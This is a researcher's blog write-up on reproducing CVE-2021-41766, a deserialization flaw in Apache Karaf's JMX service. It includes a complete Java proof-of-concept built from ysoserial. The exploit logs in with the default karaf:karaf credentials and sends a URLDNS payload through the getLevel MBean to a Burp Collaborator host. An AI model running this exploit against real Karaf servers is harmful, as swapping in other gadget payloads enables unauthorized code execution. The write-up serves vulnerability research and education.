CVE-2021-41766: Insecure Deserialization on Apache Karaf

From the perspective of its exploitation method, this CVE is neither particularly interesting nor worth much attention. However, during my research on this CVE, I faced considerable difficulties reproducing and analyzing the flaw. As of the time of writing, there is neither a PoC for CVE-2021-41766 nor an in-depth analysis of it, so this can be considered my (first) 1-day analysis.

0x01 Overview of CVE-2021-41766

According to the description in NIST’s database for CVE-2021-41766, this vulnerability is related to Java Management Extensions (JMX). Therefore, before diving deeper into this CVE, you should read up on JMX and the MBean service. I’ll include the links I used for my research at the end of this article.

The key piece of information that helped me reproduce a PoC for this CVE is:

Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack.

So, I can draw the following conclusions:

  • Previously, there was a default JMX implementation that had been attacked using a technique X, leading to an unauthenticated insecure deserialization vulnerability. That default JMX implementation has since been patched.

  • However, when Apache Karaf implemented JMX, it did not apply the same mechanisms to fix this issue. As a result, Apache Karaf’s JMX implementation could be attacked using technique X as well. This means that if I can figure out the technique X that was once used to exploit the default JMX implementation, I can also exploit Apache Karaf’s JMX implementation using the same approach!

(And somehow, it took me nearly a week to notice this part 😭)

0x02 Setting Up a Debug Environment for Apache Karaf

To be honest, I still don’t fully understand what Apache Karaf actually is, so for now I’ll just write out the steps I followed to set up the debug environment.

According to the Apache Karaf Advisory for CVE-2021-41766, versions prior to 4.3.6 are affected by this vulnerability. So I downloaded Apache Karaf version 4.3.5 to build the debug environment. I got the source code for Apache Karaf from GitHub at: https://github.com/apache/karaf/releases/tag/karaf-4.3.5

Following Xixia Yipintang’s guide, I opened the bin\karaf.bat file and added the line set KARAF_DEBUG=true

Run the bin\karaf.bat file. Notice that Apache Karaf accepts remote debugging connections through port 5005.

To remotely debug Apache Karaf, I used Remote JVM Debug in IntelliJ IDEA. The default configuration for Remote JVM Debug (which I named remoteDebug) was already set to connect to port 5005, so I left it as is.

Run remoteDebug in IDEA. If there is connection message like the one shown below, it means the debug environment for Apache Karaf has been successfully set up.

0x03 Vulnerability Analysis

As analyzed in section 1, I began exploring methods to exploit the JMX implementation and found a fairly detailed article: https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/. You can read the section “Deserialization on the JMX/MBean level” and analyze this vulnerability yourself.

Maybe one fine day (after I finish my thesis), I’ll come back and complete this section.

0x04 Reproducing the Vulnerability

The exploit for this vulnerability has been committed to ysoserial/exploit/JMXInvokeMBean.java. To simplify the exploitation process, I opened the entire ysoserial project in IDEA, then modified the JMXInvokeMBean.java file to target CVE-2021-41766.

Connect to the Apache Karaf server

To use JMXInvokeMBean, I needed four arguments:

  • host: The address of the Apache Karaf server. Here, I reproduced the vulnerability on localhost, so the host is also localhost.

  • port: The port of the JMX RMI service on the Apache Karaf server. The default port for RMI services is always 1099.

  • payload_type: The name of the ysoserial payload type used to exploit the deserialization vulnerability. In this article, I used the URLDNS payload.

  • payload_arg: The arguments for the corresponding ysoserial payload. Here, I used a URL from Burp Collaborator Client.

The host and port information is used to create a JMXServiceURL. Apache Karaf’s serviceUrl is configured in the etc/org.apache.karaf.management.cfg file, with the default value:

service:jmx:rmi:///jndi/rmi://localhost:1099/karaf-root

However, when I tried to connect to the Apache Karaf server, the program threw an error requesting credentials. The credentials for Apache Karaf are stored in the etc/users.properties file, with the default value: karaf:karaf

With all this information, I was able to modify the code in JMXInvokeMBean.java to connect to the JMX RMI service of the Apache Karaf server. The code snippet I modified to set up the connection to Apache Karaf is as follows:

args = new String[4];
args[0] = "localhost";
args[1] = "1099";
args[2] = "URLDNS";
args[3] = "http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";

HashMap environment = new HashMap();
String[] credentials = new String[] {"karaf", "karaf"};
environment.put (JMXConnector.CREDENTIALS, credentials);

JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/karaf-root");

JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

Exploiting Apache Karaf’s JMX RMI Service: getLevel

Apache Karaf has a JMX service called getLevel, which is quite similar to getLoggingLevel in the default JMX service. By opening jconsole and connecting to Apache Karaf, I can see that this method also takes a String argument and returns the log level.

At this point, I would essentially be replicating (or, more casually speaking, “copying”) the method used to exploit getLoggingLevel in the default JMX service.

It’s straightforward to gather the details of this MBean service as follows:

  • (MBean) service name: org.apache.karaf:type=log,name=root
  • Operation name: getLevel

With this information, I then modified the remaining part of the code in JMXInvokeMBean.java to send a malicious object to Apache Karaf, as shown below:

// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
ObjectName mbeanName = new ObjectName("org.apache.karaf:type=log,name=root");

mbeanServerConnection.invoke(mbeanName, "getLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

CVE-2021-41766 PoC

After modifying the code as shown in the previous two sections, I create a PoC script for CVE-2021-41766 as follows:

public class JMXInvokeMBean {

    public static void main(String[] args) throws Exception {

//        if ( args.length < 4 ) {
//            System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
//            System.exit(-1);
//        }
        args = new String[4];
        args[0] = "localhost";
        args[1] = "1099";
        args[2] = "URLDNS";
        args[3] = "http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";

        HashMap environment = new HashMap();
        String[] credentials = new String[] {"karaf", "karaf"};
        environment.put (JMXConnector.CREDENTIALS, credentials);

        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/karaf-root");

        JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
        MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

        // create the payload
        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
        ObjectName mbeanName = new ObjectName("org.apache.karaf:type=log,name=root");

        mbeanServerConnection.invoke(mbeanName, "getLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

        //close the connection
        jmxConnector.close();
    }
}

After running the PoC file, Burp Collaborator Client logged a lookup request, indicating that the Java deserialization vulnerability was successfully exploited.

0x05 Conclusion

Although this CVE uses an old exploitation technique, reproducing it required quite a bit of unfamiliar knowledge (at least for me). To be fair, I didn’t write the PoC entirely from scratch—I only modified existing PoCs to make them work—so this isn’t exactly a full-fledged “1-day” write-up. Hopefully, in the near future, I’ll be able to produce truly complete 1-day vulnerability analyses. 😄

References

0
Subscribe to my newsletter

Read articles from Phùng Đức Thắng directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Phùng Đức Thắng
Phùng Đức Thắng